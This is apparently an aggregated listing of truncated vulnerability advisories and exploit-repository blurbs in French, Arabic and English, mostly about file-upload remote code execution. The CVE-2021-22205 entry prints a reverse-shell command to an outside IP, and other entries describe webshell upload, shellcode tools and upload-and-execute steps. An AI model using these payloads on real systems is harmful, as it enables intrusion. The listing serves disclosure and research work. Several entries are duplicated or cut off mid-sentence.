CVE-2026-25860

CVE-2026-25860 OpenClinic GA 5.247.01 XSS réfléchie via le gestionnaire de téléchargement d'images DICOM Si vous souhaitez enchaîner cette XSS avec une RCE, vous pouvez lire : https://www.partywave.site/show/research/cve-2026-25860-openclinic-ga-xss-to-rce Description OpenClinic GA = v5.351.19...

CVE-2018-9206-jquery-file-upload

CVE-2018-9206 - معمل Blueimp jQuery-File-Upload بيئة Docker قابلة للاختراق لـ CVE-2018-9206 - رفع ملفات غير مقيد في Blueimp jQuery-File-Upload ' Execute it curl "http://localhost:8888/jQuery-File-Upload/server/php/files/test.php" Output: CVE-2018-9206-PWNED أو شغّل سكربت PoC: ./scripts/poc.sh...

-Limesurvey-RCE-CVE-2021-44967

🚀 LimeSurvey RCE CVE-2021-44967 - تنفيذ الأوامر عن بُعد مع المصادقة يحتوي هذا المستودع على استغلال وظيفي لـ CVE-2021-44967 ، وهي ثغرة تنفيذ الأوامر عن بُعد مع المصادقة في LimeSurvey. 🎯 التوافق تم اختباره وتأكيد عمله على: LimeSurvey 5.2.x LimeSurvey 6.x 🐛 نظرة عامة على الثغرة تسمح الثغرة لمستخدم...

ChamiloLMS-CVE-2023-4220

استغلال ثغرة CVE-2023-4220 في ChamiloLMS نص بايثون لاستغلال CVE-2023-4220 ، وهي ثغرة رفع ملفات غير مصادق عليها تؤثر على Chamilo LMS = 1.11.24. تقع الثغرة في مكوّن BigUpload في Chamilo. في التثبيتات القابلة للاستغلال، يسمح معالج الرفع برفع ملف PHP دون التحقق المناسب. نظرًا لأن الملفات المرفوعة...

EUVD-2026-94329

Telegram Desktop before 7.2.9 contains an IPC record-separator injection vulnerability in Core::Sandbox that allows remote attackers to inject OPEN: records via crafted tg:// links containing unescaped semicolons. Attackers can reach the interpret: scheme handler to upload local files, including...

Exploit for CVE-2026-81780

CVE-2026-81780 — Hash Form ≤ 1.4.2 Unauthenticated RCE !CVE...

CVE-2026-90847

Overview iuxset.cgi contains an authenticated remote code execution RCE vulnerability via file upload. It lives in the function that's invoked when iuxset.cgi is called with tmenu=camera and smenu=systemsetup, which maps to Camera Management → System Setup in the administrator web UI. Although it...

CVE-2026-92532

Unrestricted file upload vulnerability in the BugTracker.NET attachment functionality. An authenticated user with administrator privileges could modify the application configuration to store files in a directory accessible via the web interface. Due to the lack of proper file extension validation...

OpenSTAManager_RCE_Exploit-CVE-2026-38751-

Exploit RCE OpenSTAManager CVE-2026-38751 Aperçu Ce script Python exploite une vulnérabilité d'exécution de code à distance dans OpenSTAManager version 2.10, identifiée comme CVE-2026-38751. L'exploit permet aux utilisateurs authentifiés de télécharger un module malveillant et d'exécuter des...

EUVD-2026-94284

Unrestricted file upload vulnerability in the BugTracker.NET attachment functionality. An authenticated user with administrator privileges could modify the application configuration to store files in a directory accessible via the web interface. Due to the lack of proper file extension validation...

CVE-2026-92532 Unrestricted Upload of File with Dangerous Type in BugTracker.NET

Unrestricted file upload vulnerability in the BugTracker.NET attachment functionality. An authenticated user with administrator privileges could modify the application configuration to store files in a directory accessible via the web interface. Due to the lack of proper file extension validation...

CVE-2026-92532

A vulnerability exists in the BugTracker.NET attachment functionality where an authenticated user with administrator privileges can modify application configurations to store files in a web-accessible directory. Due to insufficient file extension validation , an attacker can upload and execute a ...

CVE-2026-92532 Unrestricted Upload of File with Dangerous Type in BugTracker.NET

Unrestricted file upload vulnerability in the BugTracker.NET attachment functionality. An authenticated user with administrator privileges could modify the application configuration to store files in a directory accessible via the web interface. Due to the lack of proper file extension validation...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell إصدار الاختبار بناء أمر لإنشاء استغلال الثغرة echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh استغلال djvumake لإنشاء صورة الاستغلال import os payloads= "echo 'bash -i & /dev/tcp/192.168.147.5/4444...

wargame-tarpioka

BubbleTea CVE-2007-4559 Vulnérabilité de traversée de répertoire utilisant ".tar" pour accéder à ../../flag path BubbleTea/ ├── Dockerfile ├── flag ├── requirements.txt └── src ├── files ├── template │ └── index.html └── app.py Instructions de construction actuelles vérifier docker docker ps dock...

CVE-2023-47129

CVE-2023-47129 - Statamic CMS الإصدارات " image.jpg 4 أعد تسمية هذا الملف إلى image.php. 5 في صفحة النموذج، ارفع الملف image.php الذي تم إنشاؤه. 6 الآن، لتشغيل هذا الملف فقط قم بالوصول إلى https://yoursite.com/assets/image.php ملاحظة: استبدلhttps://yoursite.com بعنوان التثبيت الخاص بك للاختبار...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion RCE يحتوي هذا المستودع على كود الاستغلال الخاص بي لثغرة RCE في Adobe ColdFusion 2021. وصف الاستغلال يُرسل الاستغلال طلب POST يحتوي على صدفة عكسية بلغة JSP إلى /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm. إذا نجح ذلك، يتم رفع الصدفة إلى...

CVE-2024-22393

استغلال CVE-2024-22393 لاستغلال هذه الثغرة، قم برفع الصورة التي قدمتها في أي قسم لرفع الصور. lottapixel.jpg المراجع: https://nvd.nist.gov/vuln/detail/CVE-2024-22393 https://www.openwall.com/lists/oss-security/2024/02/22/1 https://lists.apache.org/thread/f58l6dr4r74hl6o71gn47kmn44vw12cv...

CVE-2024-50510

CVE-2024-50510 AR For Woocommerce = 6.2 - Téléversement de fichier arbitraire non authentifié Description Le plugin AR for WooCommerce pour WordPress est vulnérable au téléversement de fichiers arbitraires en raison de l'absence de validation du type de fichier dans toutes les versions jusqu'à la...

cve-2017-7269-tool

cve-2017-7269 أداة webshell و shellcode البناء csc cve-2017-7269.cs الاستخدام CVE-2017-7269 parms Header: -h set host for If header -p set port for If header -s set scheme for If header -l length of physical path WebShell: -w upload webshell to server -wp path of webshell to save ShellCode: -c...